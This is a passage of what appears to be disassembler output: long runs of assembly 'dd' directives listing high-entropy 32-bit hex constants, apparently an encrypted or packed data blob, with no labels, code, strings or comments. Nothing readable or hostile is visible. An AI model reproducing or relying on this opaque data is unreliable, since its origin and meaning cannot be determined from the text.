		dd 96808049h, 26CBD5B1h, 26285093h, 8BED40FCh, 0B000CC69h
		dd 0F1D13134h, 0A427610h, 41C05528h, 0A3A03FA4h, 6340D0B6h
		dd 2CE98Eh, 0D198EEEAh,	1FC688A3h, 0D9DBB500h, 6DCE02Eh
		dd 0A8048A0Ah, 16C859C4h, 0E8469512h, 488CA4Fh,	90EE1E87h
		dd 0A7E80D4h, 0FB2A0B76h, 6126C401h, 842FD136h,	5F285468h
		dd 0D4AC2098h, 618FA891h, 374800C3h, 0F21D203h,	668ADCAAh
		dd 88A42332h, 0D4D09DA0h, 3DF6A400h, 713033C0h,	5447007Dh
		dd 2CB3070Eh, 0A8A9BF2Fh, 50FC1472h, 1C00F88Bh,	8EDA5E88h
		dd 20030700h, 1A7A8936h, 2FFCE795h, 40989199h, 0AD0D3794h
		dd 0E74703Fh, 0A0B86D3Fh, 95972B17h, 40DE88A8h,	0D67C3E02h
		dd 0E0D4A189h, 9512C444h, 3F50E8A1h, 98829BAh, 44BF4842h
		dd 0CC9B0BF8h, 828086EFh, 728D5C2Eh, 0F468B226h, 0C0FDD044h
		dd 0F22310C0h, 0E400CCD4h, 421BB784h, 0E3B3165Bh, 4FF49804h
		dd 840B4BEh, 23C3592h, 3F46BAB8h, 0A0FBAB5Eh, 1825080h
		dd 98E37F93h, 0EAF626CCh, 40A044F8h, 2B153F56h,	4B09884h
		dd 0F4F9283Eh, 5CACF3h,	0ABE81AE5h, 0EADD1h, 4EED10EAh
		dd 0A9A89FCBh, 52978C00h, 77C93E7Eh, 0DDCD1265h, 273FC88h
		dd 0C5DC318Bh, 945248h,	9B0DD56Fh, 2E2D3306h, 0D7478005h
		dd 72C07F57h, 64EE1526h, 88E00865h, 5000A6F0h, 0A742B81Fh
		dd 0EA9432h, 1455F6F3h,	5709393Dh, 0A6293502h, 0C00D20D6h
		dd 3B5FA2h, 16689741h, 4EB46D5Ch, 537EF900h, 6C1742E7h
		dd 4C9D0095h, 94ABC20h,	660E35BAh, 0E024718Ch, 68A1485Fh
		dd 2E070A45h, 189C3EEEh, 64CCC022h, 0A620B000h,	0B7F24F02h
		dd 2198B86Bh, 8D028043h, 5107DB73h, 0B5C248Ch, 0C0047B44h
		dd 2E0481ECh, 0B8C79DEh, 8DB1B5h, 92311093h, 13F7730h
		dd 4FDE451Ch, 23FDB766h, 0ED3E007Ch, 9103A081h,	0D0B30567h
		dd 7B86CE5h, 0B01E0CE0h, 0B460CBB7h, 0B24630C3h, 562F88F6h
		dd 0BB64B1DDh, 83D9DF07h, 2E573064h, 4707CF8Eh,	14ACBFDBh
		dd 2C5BD010h, 0E73F0277h, 95FC0DFh, 10785842h, 0B688CDEAh
		dd 40955E96h, 31F5DED0h, 3E3A4E4Dh, 8086BD09h, 45C3125Ah
		dd 8E94D37Dh, 1B490C00h, 0ABB6520h, 0EE8D1CBFh,	0A524C44Fh
		dd 5374B0FEh, 4D498F04h, 5CC8123Ch, 2CA3851h, 7D938287h
		dd 5DB740FAh, 0F0B8C524h, 6BA78F04h, 708C959Bh,	49150441h
		dd 8CFDCE7Eh, 0FF0797BCh, 6E6CAF5Ch, 1EBE3EF0h,	0B7C0466h
		dd 0CCFC0FA8h, 4814271Ch, 0C9CD77h, 0A609427Fh,	58CE2D93h
		dd 0B8C40464h, 3F109097h, 0BC541B7Dh, 8E862898h, 93974168h
		dd 2C034421h, 0A08A46FAh, 4C9A265Ah, 7C3518ABh,	81BC80E8h
		dd 327247Ah, 0D2ACE359h, 40B524A6h, 0F86C50EEh,	25BA0026h
		dd 64C14082h, 0D902C617h, 4E47BC9Fh, 3EAC954Ch,	90A64B74h
		dd 675B62A8h, 4513D900h, 422C9665h, 32381DE9h, 95418451h
		dd 9230A057h, 27DEBC44h, 0C64CC3Fh, 1E20D43Bh, 14839E80h
		dd 0B0E29D45h, 298DFA2h, 9A526603h, 0B0C38CFBh,	4A18E3D5h
		dd 0B7482820h, 0B2D700C5h, 0E730F572h, 4500E937h, 38DA517Ah
		dd 4C38C97h, 0EFA15E63h, 500888CFh, 659C5C93h, 0C5F48E84h
		dd 1E770CB6h, 27E4550h,	0E24DC31Ah, 0BC249088h,	0DFC074D8h
		dd 1AB8DAF9h, 60E80E25h, 258BA320h, 48E96DBCh, 0B06510FEh
		dd 0E0D0011Bh, 0B2E9987h, 3EC0E57Bh, 0AA091C44h, 0C3C378A9h
		dd 0FDA02B9Bh, 5402A888h, 4D427193h, 805F0283h,	4A8A220Fh
		dd 2585C99h, 0DB63FDF2h, 5164BDC3h, 0DC45C6E0h,	4164D902h
		dd 1904B20h, 2450A23Eh,	2F248FF9h, 6C9493F5h, 2B84827h
		dd 7ADE2F24h, 0A60B00ACh, 7CFCE061h, 9006EA4h, 0BA500519h
		dd 1364DD73h, 0C16A3EAEh, 3AAAC2B4h, 0F3B05000h, 2059DC3h
		dd 8A8882EAh, 38D1B339h, 0CBE51387h, 985627C0h,	8050BE30h
		dd 0F9904E18h, 0A0914F97h, 0F6824601h, 478CB1Bh, 0DF3DC605h
		dd 218CF38Eh, 80429096h, 91FBE855h, 94A87248h, 0B580BF90h
		dd 9778FD4Eh, 0A400FBF3h, 8D5F7E57h, 285BAD83h,	2094B163h
		dd 0B304A815h, 5F209388h, 52DB84E0h, 833BB87Dh,	40D84D07h
		dd 0E08A04A7h, 0D4699C0h, 35BA9A12h, 68B2A0h, 16AA0FACh
		dd 11B87h, 39E73EB0h, 6BDDA4D3h, 13C484Dh, 0C0C6B906h
		dd 0B86908DBh, 0E8C0DC8Eh, 0CDB75099h, 949B8E12h, 4A26425h
		dd 40C13600h, 165D0EB5h, 24D48E4Ah, 1BDC5004h, 53F0488h
		dd 97E846F5h, 4EC02165h, 4C9822E0h, 526B0745h, 0F949AF8Fh
		dd 88570058h, 0D3F67126h, 329B2100h, 0ACEE0639h, 4300BCA3h
		dd 1EF0CE37h, 0AB00683Bh, 10BC347Ah, 0B29946h, 2698F3A4h
		dd 9313CC80h, 0DA38809Dh, 663042Ah, 6814C179h, 3A00C12Fh
		dd 0D0E30B3Ch, 5F7C2Ch,	0C023D362h, 9173D197h, 0E09A3916h
		dd 55088400h, 91051BEh,	71B0997Eh, 36D5F080h, 0A53ED816h
		dd 51C60113h, 2D598A70h, 461828BCh, 4E31902h, 0F3D89000h
		dd 0B84CA8EAh, 0DCBA3EB4h, 0AA420072h, 28B32CC2h, 80F75470h
		dd 4577FC69h, 198D146h,	81E0B9D5h, 0FCF24401h, 0E279677Dh
		dd 0C4546E18h, 0C27431h, 2290BB5Fh, 0B1FEA801h,	72F88607h
		dd 0D831F637h, 918615ABh, 39DBF31Fh, 0B1229F30h, 0F029FDA2h
		dd 6B730052h, 906AC5FEh, 10014B4Eh, 8EF6E92Ah, 3992CAB9h
		dd 0A4E105B2h, 669000D0h, 1C129BC5h, 8065C9CEh,	0ABF55BCEh
		dd 79CB30AEh, 0A3FD1078h, 0A8712960h, 3A111A19h, 250031A6h
		dd 463F5BCDh, 5D018974h, 0FC6EEE6Bh, 6CC00E93h,	10CE0635h
		dd 0D028A3A9h, 3C1A2558h, 513D3062h, 1268D83h, 87A2C88Eh
		dd 0FCAD8BE0h, 9300B5C2h, 82CE2F5Eh, 727633F8h,	0ACD9150Dh
		dd 0E5088804h, 8E3DC573h, 408E2D45h, 54DD505Fh,	0ACF1C0BFh
		dd 0F4D0DAC4h, 8C812E0Ch, 462F8C5h, 83B69241h, 0BD5406B4h
		dd 0CA7331h, 922AD3B2h,	9A40DD2Bh, 0F80190A4h, 6D566A66h
		dd 7FF3E8Ah, 0EFCE9BC1h, 0A884309Ah, 0E8C10CB3h, 8CE682B1h
		dd 0DFA5A050h, 95F30120h, 36FADAF0h, 0DDB4DCE0h, 7C4B033Ah
		dd 0DCC91B00h, 56F24C11h, 4E960035h, 5E4ACCF8h,	0B33A9454h
		dd 0E1FD80E9h, 0C277F0Dh, 339F002Ah, 6247AEB1h,	4B001B35h
		dd 0CE5A0F79h, 2A20BFBDh, 90718Dh, 64961FDEh, 903F4787h
		dd 21462A0Eh, 0EA1D606Dh, 6F831D6h, 11C60EF4h, 0D248AAF1h
		dd 80398834h, 3B52974Eh, 0CE0079A3h, 9EB5A1ECh,	916004h
		dd 567C28CAh, 6E5AD409h, 864B760Fh, 46BDC219h, 0A7D8AF05h
		dd 6D70B880h, 50159B6Ah, 0AC50E5h, 7ADB43EAh, 0E60487EDh
		dd 0D0CFCE01h, 179656EEh, 83204884h, 6910007Ch,	0C03A751Eh
		dd 1A01A658h, 2C031946h, 78B82D64h, 3DAEE10Ah, 0D5540841h
		dd 0C298D180h, 3CB98713h, 1E2E9E00h, 0D8A0DA94h, 909203C1h
		dd 61B4FCAFh, 0BD7D9900h, 33960C69h, 0FD340758h, 0E005ADE0h
		dd 1A24AE22h, 0DF233602h, 0A0209E3Eh, 69962894h, 0AC8700C4h
		dd 4160B4C2h, 0F70184CCh
		dd 9A43564Fh, 0B82416F6h, 0FB943DEEh, 5548DD80h, 6C4B8B10h
		dd 22440D4Dh, 1AB3011Dh, 2ABBC334h, 3DE8305Bh, 7B73B39h
		dd 8E7382E9h, 0D2729270h, 0AAD509C0h, 6CA07DABh, 0E46C4AD3h
		dd 0AD22607Ch, 0BC90020Ch, 0F820CEFDh, 0BB7D0C64h, 0F8720630h
		dd 0EA7985h, 382B4499h,	96A9090Eh, 0F4EFBD00h, 0DD6DF9BFh
		dd 0F128609Dh, 0FBCB5024h, 238F7D00h, 0DCE0A413h, 0E8FEE81Fh
		dd 9C9301Ah, 987D5579h,	2220F639h, 249F50C1h, 79DF020Fh
		dd 0A4E723E4h, 0D61F94B1h, 5E4754A1h, 36D03C8h,	605F74E0h
		dd 491D26A3h, 0D8008788h, 0B2AA6AEBh, 8A6E0C63h, 46213841h
		dd 0F8911B60h, 0DA3C64h, 0DEA58E06h, 0B34AB8C7h, 0CDFA5C00h
		dd 8AE66E2Eh, 650C026Dh, 89A6AAC9h, 5C981862h, 81EEB8Fh
		dd 14C99294h, 4165003Bh, 2486F70Dh, 75C07D6h, 26FA1F2Eh
		dd 0AF00802Ch, 4ADCF6CDh, 28FA60Fh, 0F9208364h,	0EC6E2D4Eh
		dd 8F00B8F8h, 77EF5318h, 0EEA5B66h, 5DA66C39h, 0C7828854h
		dd 0D882846Bh, 0D864C9AEh, 21D75530h, 0A5A425h,	0AC0570D3h
		dd 0AD7F3416h, 6885AB13h, 0C9B11C00h, 0CE40Fh, 0C87A3790h
		dd 18B28D2Ah, 0E8B00605h, 9BC0404Ah, 2252C65h, 20F0B1FCh
		dd 0E091DAEFh, 83491021h, 0CC171D08h, 752EC044h, 0ACEAD9F0h
		dd 3F79E101h, 0D432C29h, 0C10B4088h, 0D6AE2680h, 765803h
		dd 0C883FD6Ah, 467B476Eh, 40CD8500h, 89F72C39h,	54F83829h
		dd 0FDAE3960h, 441D4658h, 89962C11h, 0E5F15020h, 0D184A88Ah
		dd 0EB6700E7h, 0BD056860h, 9B7783CBh, 0D790541Fh, 3E00EE57h
		dd 0ED1DD36Eh, 0C142E877h, 0A59EA870h, 4613F0DDh, 7C180149h
		dd 480D3Ch, 870A93CBh, 0C67AD92h, 0EEE0655Fh, 0C939F570h
		dd 49689F0Dh, 0F80E6C9h, 4A8B2318h, 7A1EE08h, 0DCEACAB6h
		dd 2C3FC305h, 0DAD1B904h, 65C62B9Ch, 0B02E0071h, 2CBB0CC8h
		dd 0E01675EFh, 0F703049Bh, 0B8954AD2h, 0F85E7h,	0C151A55Dh
		dd 653E7148h, 96635600h, 5BD722E5h, 0ECFB5895h,	55B2AC00h
		dd 7E082FBCh, 2AADD918h, 4F0F469h, 7DE28166h, 0E53CCCBEh
		dd 654F8812h, 2EB8117h,	0B1BC78AFh, 269CEF60h, 8FC70F39h
		dd 0E0DB5DFEh, 4FDF6CEh, 0FA2015A1h, 0D914D4EDh, 1F82A0A2h
		dd 0C82BFFDh, 59220DA9h, 40C710A1h, 0E9118409h,	0AE6800ACh
		dd 0C47CC546h, 21C20B41h, 0C1507A0h, 4D19C5B0h,	8B5D5506h
		dd 1D61C04Ch, 2C748220h, 39A44784h, 87F38800h, 9B0F1BDCh
		dd 97B5F59Dh, 694C6C00h, 2E646509h, 42308920h, 5CE0ADDEh
		dd 0A4002BBCh, 0A61B1A09h, 918BFCEBh, 9AC173Ch,	20014198h
		dd 81259E42h, 0FA9A2619h, 15C437C2h, 28F89030h,	2264BDF2h
		dd 700C0BAEh, 0B96AA2DCh, 191F6046h, 5692E0BDh,	73CB6E03h
		dd 0A069F085h, 0E5A8432h, 462C1AC5h, 40B4A63Eh,	0ADB28FF5h
		dd 0A47A9019h, 8B11FEC8h, 7CB83246h, 80A88C58h,	84C72665h
		dd 80A499AEh, 0B605F4B0h, 0F0007146h, 0F66D0DB1h, 2AFB4586h
		dd 44BCBE7Ch, 0AC992601h, 93AC8Eh, 24C917E2h, 4E801F21h
		dd 13FE40DBh, 0AEB7154h, 70ECAF5Ch, 0C415F20h, 78872026h
		dd 4A02D491h, 0A2D07377h, 0A985232Ah, 6D2C96B8h, 0CD9A7A09h
		dd 39C490E6h, 0FDA07DEh, 0E730069Fh, 0C15427B8h, 48414ADDh
		dd 8114858Ch, 10894EAh,	2C3E5F0Dh, 0C8295553h, 76663C00h
		dd 0D80585BDh, 34AD2A08h, 0CD096F83h, 40BF7004h, 0B2CB6747h
		dd 90251D07h, 5CCE0168h, 0E43C369Fh, 4400478Bh,	0C61BDD15h
		dd 0F04BBEF8h, 5C117FEh, 6B84F5Fh, 0DD701080h, 0D419D2E6h
		dd 0E5A117A4h, 1752029h, 0C1331D96h, 0C857F276h, 0DF005097h
		dd 10D108DCh, 0E6AA67Fh, 0AD517466h, 4FCCD083h,	0DB399DA8h
		dd 0F1F0BD01h, 565DBEF9h, 17461ECh, 0A9D72401h,	0CCC259DAh
		dd 660D8ED1h, 20BC3992h, 1F407160h, 400183C4h, 0DDF3215Dh
		dd 0A50393BDh, 0EAC6E16h, 67A3A00Fh, 50740E5Eh,	0ECA0E3ADh
		dd 529CB5BDh, 36509F78h, 0B0601808h, 83BBAD59h,	11B661DFh
		dd 0BC76E6BCh, 0B1D40318h, 6FCC96h, 1083C250h, 0B220198Dh
		dd 6E173600h, 0D469A774h, 6C9700D0h, 0C386DBDAh, 0CC419ADCh
		dd 1885C2E4h, 61B338D4h, 796E71F0h, 50F785B6h, 0EA98043h
		dd 0AED1A1CAh, 38B67881h, 47DE8455h, 0D5C10054h, 7018AEBAh
		dd 60395901h, 0C9646C34h, 63074F20h, 0B54B8A0Fh, 1E7EB08Ch
		dd 0D221FFC8h, 5B448061h, 0AD01467Ch, 30AB9896h, 39E07926h
		dd 66F933EFh, 618E5DD0h, 7B4FD400h, 0EA7A9276h,	804207B1h
		dd 7FB9B5FAh, 0FC3678F9h, 460F0B98h, 60ADBFC9h,	0F8B80C63h
		dd 62A501BDh, 0DC845707h, 0DC998B7h, 78141190h,	0E6E0E1Ch
		dd 0B26CC9B8h, 503A3621h, 0C09E02D2h, 87305FD4h, 0B750EC70h
		dd 348502Eh, 1EB0E60h, 0D018C4D6h, 4B41C23Ah, 2FE1003Ch
		dd 86B10496h, 0B21ED977h, 0E403170h, 4C3D35F4h,	46971413h
		dd 5A06C03Ah, 40D9F35Eh, 49C0BDF2h, 0E9967765h,	0C840035Fh
		dd 0F197CD59h, 1FC9B5A8h, 6C6F0C90h, 7554A099h,	3D6428D5h
		dd 888529F8h, 40E73BDCh, 0A2C856C4h, 31C06266h,	0AEAA3FEAh
		dd 5CE02Ch, 0DDFE5708h,	59765492h, 443390A0h, 30943151h
		dd 0AC00E36Bh, 0C0A6019Fh, 0C4FE3260h, 93864A49h, 3BF04154h
		dd 0C50025F0h, 56E918D6h, 0A8C4481h, 0AF21BC1Eh, 78DA009Ch
		dd 0F970DB9Dh, 0F1AECA37h, 780BED8h, 0D273B3A7h, 920C2DB9h
		dd 28C6EFCAh, 0D16C16FDh, 9BBACEAh, 20635DBDh, 7CE7EE10h
		dd 604000Fh, 68780A83h,	1C07641Dh, 2F655973h, 2EFE71A3h
		dd 0C5F74A9h, 75117B1Dh, 7E392F00h, 6672D498h, 29646F5Dh
		dd 0AA50C35Eh, 1C8D205h, 0B200B19Dh, 0AE70F029h, 18612E7h
		dd 6BD5FFCBh, 4C586E8Ch, 0BB00BAC8h, 0D131769h,	1395CE27h
		dd 41CC3ACAh, 60E3A548h, 0DA699F55h, 13FD8580h,	0D04037h
		dd 2CB1FE49h, 0A95B0CC7h, 85F17A0Eh, 8807A978h,	3A0A0C20h
		dd 55809CB8h, 0A140F6A2h, 6E4600D6h, 1AA59804h,	8061EFBDh
		dd 0B4D483E9h, 0E4BC318Dh, 2020F1A9h, 2886E24h,	1F833A0Ah
		dd 0BE0F703h, 23D72CD8h, 3808B0C3h, 0C520AE5h, 0BBC15B5Dh
		dd 500D3F4h, 699B0DF2h,	99DDAB0h, 2F3160A1h, 0B15E84A1h
		dd 4C409A7Fh, 2EAC8279h, 0F8702268h, 0B7004464h, 0B0D63338h
		dd 1D3EED13h, 40090F10h, 0A49E0E93h, 0B8302F60h, 0B1563879h
		dd 0E7BC188Ah, 0D784410Ch, 96E9C062h, 4F802C6Fh, 4E826A00h
		dd 362F1DAFh, 4D153E08h, 0E3BC9202h, 830456A1h,	20103E84h
		dd 90E60350h, 0F0EF94A3h, 1871078Dh, 28ACAFFAh,	0C00CEA49h
		dd 1004D583h, 0E1BD1850h, 8D70E975h, 0F6710E09h, 3A30A54Ch
		dd 8B49C421h, 377AAE8h,	0BDCBB125h, 0C914A8E7h,	80A0D5h
		dd 0C3A2B06Bh, 0C2AFDE83h, 4A4BA539h, 81D42049h, 56799C5Eh
		dd 0B1807595h, 1E64993Ah, 2E003DE0h, 975D44B4h,	7AED87DCh
		dd 5B8C0607h, 31719666h, 7A636A01h, 4EA03ACCh, 280C2F8h
		dd 7952C4B7h, 28C008B5h, 62420D88h, 0D1557305h,	681480BBh
		dd 6018804Bh, 0C751673Bh, 0E22800F5h, 9F89D63Dh, 0CC54F871h
		dd 0CCA6B180h, 422FB600h, 632D958Eh, 0A15B0107h, 69B068EDh
		dd 241DC1B2h, 76026120h, 5CC2092Bh, 54800964h, 0D6EEC751h
		dd 17DBDE00h, 8152DDF8h, 0C1EF1272h, 5B3005FFh,	5A54885Eh
		dd 0E7333Fh, 0E41FAA08h, 60B40EA8h, 7A74612Eh, 8312BC7Eh
		dd 9423BADAh, 0A08CDCEEh, 0C39688AEh, 4B387267h, 72B221CCh
		dd 0BE6D002Ah, 39F2883Bh
		dd 19E04F3Fh, 2B329A01h, 65A9D584h, 88F05988h, 81605D8Ch
		dd 0A141077Bh, 0E01E2102h, 0A73B6AEBh, 8B69E00h, 1F06016Eh
		dd 349869h, 0FDB5E0Dh, 0A5D57EC3h, 0A8E2FF00h, 71689F75h
		dd 0E30A0072h, 5EB44369h, 970CDA96h, 69575DBFh,	0C54748A6h
		dd 5E37D700h, 85EADCC7h, 0B214F70Fh, 68030059h,	0A1236E2h
		dd 0D9AF4C2Eh, 1172018Ch, 336D75DAh, 8E9D003Ch,	91E25339h
		dd 8B03827h, 0ABC62301h, 875C5E57h, 0CDE9C271h,	0A66E7930h
		dd 0CE0916C3h, 34B800E7h, 0D69E1DCFh, 79D24A1Fh, 0D735E3C0h
		dd 0C20B1Bh, 0F833A549h, 0C55BAD39h, 0D80E0900h, 0F7E267CEh
		dd 200F0092h, 5F5E6A8Fh, 18009E4Bh, 0D2438B06h,	3CF6275h
		dd 0CC572982h, 98FB38A6h, 85272E2h, 4469BF00h, 6C65752h
		dd 0BC281D5Eh, 2CB20E50h, 0A5057F91h, 6A99C92h,	0BDDBF430h
		dd 0E0660767h, 576038B1h, 2077827Eh, 0E5F7B8C0h, 2260575Dh
		dd 3DB30762h, 508196DFh, 125389F9h, 15464500h, 23DDD537h
		dd 21E71739h, 0D1E44075h, 8401A48Fh, 2B70DF01h,	34E70F43h
		dd 4115BC60h, 69A03075h, 22A861D4h, 0F87972h, 7B3A872Bh
		dd 0E455B3C1h, 0E2F74D00h, 0B4C031E7h, 0DB126D2h, 30531360h
		dd 1AF55CB8h, 3AC34902h, 406813D6h, 604AF434h, 0A99BF987h
		dd 0BD01D492h, 0E54132F9h, 0F1F07994h, 0CB981Bh, 3415814Dh
		dd 4B82EB1Ch, 0FB00B0B1h, 0C11A9899h, 17AC2C92h, 449022C6h
		dd 2C07625Fh, 0E424417Ch, 0BFFA6BA0h, 22E50180h, 2DF9EEC6h
		dd 737CF151h, 4B990E8Ch, 9A04005h, 55436B9h, 0A4AD6547h
		dd 80D3F1E3h, 3C5A3829h, 1CE94890h, 80C87177h, 117FCCE1h
		dd 0AD0CF99Dh, 895A5E32h, 3B6B3DB9h, 43808EB9h,	0EB012D9Ch
		dd 7148D257h, 5FE2851Ch, 80D8DC88h, 8898D9D0h, 0BBE08318h
		dd 0C56A9679h, 809ECB31h, 7E2118EEh, 7559B43Eh,	7D4B0E15h
		dd 35070790h, 0BD601EF5h, 58D5DBE3h, 3C804039h,	3A3FAB25h
		dd 0A7CFA81Eh, 0D63600F8h, 47F9716Eh, 0FD83AEh,	0E9460F3Ch
		dd 5A005FADh, 2BA17FF9h, 4886C630h, 0D52518EDh,	2233BC00h
		dd 254AD684h, 28A50800h, 0C0B3B5FAh, 0ED0D9D20h, 824CDB64h
		dd 0CA3900FCh, 37604E3Bh, 4AD9C676h, 5F00C184h,	28ED34A4h
		dd 0ABBEF3h, 379F472Ah,	60FCC6E0h, 0CE6EE6F0h, 693CC658h
		dd 0DAC10541h, 0AB679ED1h, 0D9E74AC3h, 8021ABF4h, 0C61A60F6h
		dd 232E00ACh, 9C2AB8E3h, 32F2B1D5h, 0A613A1E8h,	0EC205CBAh
		dd 4A37023h, 79DB4001h,	728A2A4h, 2BBD5EA2h, 3786CFA0h
		dd 0D5C10421h, 0B27B22B8h, 18531Ch, 281A50E2h, 3B2CA5CAh
		dd 0F181A9D0h, 3BD348C2h, 9F1C3Fh, 2C0EDDCDh, 0C36B99A6h
		dd 0D86AACA4h, 7660CC51h, 37A23D7h, 71C27BEh, 9FCB31FFh
		dd 167C2AB8h, 8624B2Ch,	52405C44h, 20CEB4BDh, 0D9D65A00h
		dd 0FE2BD075h, 45D494D5h, 95C4204Bh, 91009AD1h,	1615CBA0h
		dd 0C0F363h, 0F05F0336h, 0FC851E1h, 0CFDB83Dh, 3979282Fh
		dd 433E4BF5h, 9896347Ch, 0D26636D9h, 10672C61h,	1C5EB11h
		dd 45D5EAE3h, 0BC8FF616h, 643C5818h, 3B408188h,	0FE3A0F55h
		dd 1931F0Fh, 2A9C0EA7h,	9409C5Dh, 20FC7Dh, 1219B0D7h, 0F9EF0E97h
		dd 0F4726F24h, 6918F02Ch, 0DEFC7079h, 0C04D1459h, 0BF38D50Ch
		dd 0D100F2B1h, 2C73F53Eh, 1AC65Ch, 9D23B262h, 60CADDDAh
		dd 1D01E37Ch, 0A9AAF241h, 0AC39EBBCh, 0EA52804h, 88ACD56Dh
		dd 5E305D9Ch, 6CB17179h, 1DFCBAh, 9434E307h, 0B2AF0C50h
		dd 98A63602h, 44EFBC6Dh, 84B0E4h, 9C5B352Eh, 0B0D5C30Dh
		dd 4520BC13h, 0D654B000h, 6025A9B1h, 1ED086Eh, 634CA035h
		dd 5B3226Ch, 2AD75FB7h,	27D43E46h, 1650A03Ah, 20839Bh
		dd 0A08990B9h, 9A807B30h, 0C6AE5F00h, 44EB07A2h, 88D8A1ABh
		dd 3C5E0C10h, 0BF7EE200h, 46ED9918h, 881000F0h,	39CC11A3h
		dd 7015F8C1h, 38C52F7h,	0F5C306A1h, 33904B3Ch, 1105EAC0h
		dd 537823AEh, 0A271E8C0h, 0B050FB66h, 9DC3562h,	7580ECBFh
		dd 3660FCC0h, 4A217A65h, 0F1764C00h, 0B947A0h, 0CEF237F4h
		dd 0A389A84Fh, 71F0C203h, 0B050A21Eh, 0F00EB0D4h, 0F143F33h
		dd 41C214Fh, 0EC27E1F2h, 31FE05A0h, 1A167F7Dh, 0AC0066B7h
		dd 9EB0EB2h, 50D34DA2h,	516A3111h, 0B178023Ch, 1089D861h
		dd 0EE858188h, 837DD1h,	303524AFh, 0CDED738Eh, 5529E0E7h
		dd 0FCB6C09h, 0DAB0A0A6h, 78FA80D7h, 56FADEh, 811D6E23h
		dd 9233C20Ch, 86D97800h, 73C33505h, 0E2BA3DC1h,	0BE32750Eh
		dd 0C0079065h, 630AD64Ch, 6F7AB309h, 171498BAh,	0C3E65Ah
		dd 8BB20197h, 0FDC5B07Ch, 8F4BE516h, 0EABCE402h, 0A1D4207Ah
		dd 0CF4CB90Bh, 0A92450A8h, 34262E24h, 22506940h, 4ADCF886h
		dd 0C10C44B2h, 400584D4h, 865B56F0h, 0AF076F8Ah, 0AE9C2C52h
		dd 1A2E2DE0h, 0B83D2691h, 0D31C00D1h, 0E3288618h, 80E92039h
		dd 82F4214Ah, 2D3C3277h, 9C549016h, 0B8C57200h,	0CD4276h
		dd 0FAE1D73Ah, 3CFD4345h, 28C2E400h, 0AECE2C6Ah, 40060779h
		dd 0C0C4F30Fh, 0BB234781h, 0F6C640C0h, 9F116F7h, 4DD479B4h
		dd 0CA18DE50h, 0BA0882A3h, 9C470929h, 2580BC35h, 0D548DC6Dh
		dd 0C752A90Fh, 25D3E064h, 6FA9D4Ch, 5AFF3E5Fh, 720038CFh
		dd 26153AC0h, 0C7E0919h, 3BD9E989h, 0D17DBA61h,	1EBF8D3Ch
		dd 3C6859D4h, 17E7C44h,	0F1F7E16Ah, 0CCFA305Bh,	0FDFA2CB7h
		dd 3861CD6Ch, 861A89BDh, 7746DA88h, 832C0041h, 26944AACh
		dd 9600BF92h, 0D2A24989h, 1DEFF46h, 0CF0A25E3h,	0DCEEF9F3h
		dd 0FD01EF72h, 48BA3010h, 3EEC8FC9h, 23761DDFh,	0A196004Ch
		dd 0C4A7F441h, 0F3DED700h, 5133EEC9h, 61AA72A4h, 0A7ED797Eh
		dd 10B6860Fh, 3C487F70h, 0D7302307h, 887B32B9h,	0F1D4F301h
		dd 0C451064h, 7582DFCh,	0FF206D4Eh, 0C9962091h,	2B0C36EAh
		dd 10278BECh, 0B63B00D0h, 0AB8ECEE9h, 0B22009FBh, 2C0C0EC6h
		dd 0B14FEA8Bh, 7ADF1E20h, 1200C31Fh, 98472BDAh,	0F80750D3h
		dd 0CF8924F3h, 92C18F20h, 1DDB40Ah, 0B3546394h,	4858ECD1h
		dd 0C514D812h, 0D34C1806h, 45D91831h, 26D2E974h, 2A212B00h
		dd 711C6BD6h, 3DDA18A7h, 0D45B2185h, 0B1BF1C6h,	5CF30E04h
		dd 0F0805750h, 15F87C09h, 18915BFCh, 85A74802h,	77DBC0DAh
		dd 33AF0CD1h, 4350D206h, 84E98612h, 3A5C5Eh, 14CD5064h
		dd 0F2B40267h, 0CC0830F6h, 70842548h, 0DBB83E03h, 1C8F7C9h
		dd 9481D461h, 90B301D3h, 31801B30h, 8A6F5576h, 7E5C730Fh
		dd 0D4AEC0E1h, 0A0CF3ED9h, 0F1BD4578h, 21984090h, 85560773h
		dd 92697C5Bh, 1D00E3FAh, 0AE1CBC86h, 2A3EDAB0h,	448CC753h
		dd 0FF0B71CBh, 86F067FCh, 6986B7h, 0EACB23DCh, 319DD306h
		dd 0DAEED800h, 987EB685h, 586678ABh, 0AF3E0A01h, 1D96CC54h
		dd 0C02B86B0h, 2C9AB9C7h, 193C734Dh, 185707C0h,	8288741Ch
		dd 0BC248FFBh, 0E5A084h, 92AB8017h, 0C75602B0h,	0BF8F4696h
		dd 8444C844h, 19BC00F5h, 0C19A7C3Ch, 0A7E46911h, 8C85ED03h
		dd 0D0F16E9Bh, 0CF2B64Bh, 714E4FD4h, 0C800B038h, 0ECDEF746h
		dd 7E74728h, 3DEEE1FDh,	7E4BF236h, 0AED20C81h, 45D180D1h
		dd 6CB00D7Fh, 0D35B2A3Dh, 15940198h, 6ABD4C66h,	0A39BE0CFh
		dd 63C7D802h, 902A0B2Ch, 78DC6C0h, 4BE97646h, 67C14C7Fh
		dd 0BD851812h, 4C172032h, 0C9430A28h, 0DEA13E3h, 0E8196DB4h
		dd 59C6DCFEh, 0A1DDAEh,	0FA9F34FCh, 0ED1E2C7Bh,	1B9AB00h
		dd 0C24D21B1h
		dd 2594002Ah, 45CC3C71h, 8CF7E98Eh, 41DEAE88h, 0B5392E75h
		dd 2C7A012Ah, 0D0A84255h, 0C958319Bh, 0A11700C5h, 0B6C64877h
		dd 0A4493781h, 5E3E80A9h, 0EF1253CAh, 0C0402096h, 0C41BFB17h
		dd 61CC607Fh, 7DC2ACCBh, 8A0840E9h, 220CDD75h, 0D1D55B15h
		dd 61A0003Fh, 64719707h, 19F0E3D3h, 0D92DC601h,	0E55381EFh
		dd 0A42A4185h, 6CA4407Fh, 0D5D1BE70h, 43E94F03h, 0F835A337h
		dd 0A44AD49Ah, 0C81B07A8h, 404D3317h, 0F3153722h, 643E8700h
		dd 91545914h, 0BDC605CCh, 0C5AF6719h, 2B180359h, 4C98E772h
		dd 894C12AAh, 242804F8h, 2CC8A3CCh, 184E4BDh, 0EA318CF7h
		dd 87CD7CDCh, 3A0D8976h, 0EC57B370h, 0F45D243Dh, 0C3C008E0h
		dd 0F9DA5B0Ch, 0B6E60041h, 0EE5776A8h, 641E1917h, 9BC09FA9h
		dd 0AA751055h, 0AE9713B0h, 477C21E8h, 466A1073h, 70BC2849h
		dd 0C6DA7481h, 2179A418h, 453D7C01h, 326C9D16h,	9AC214F0h
		dd 397E5C20h, 30C67100h, 2C98E175h, 0ABFB1104h,	5488814Ch
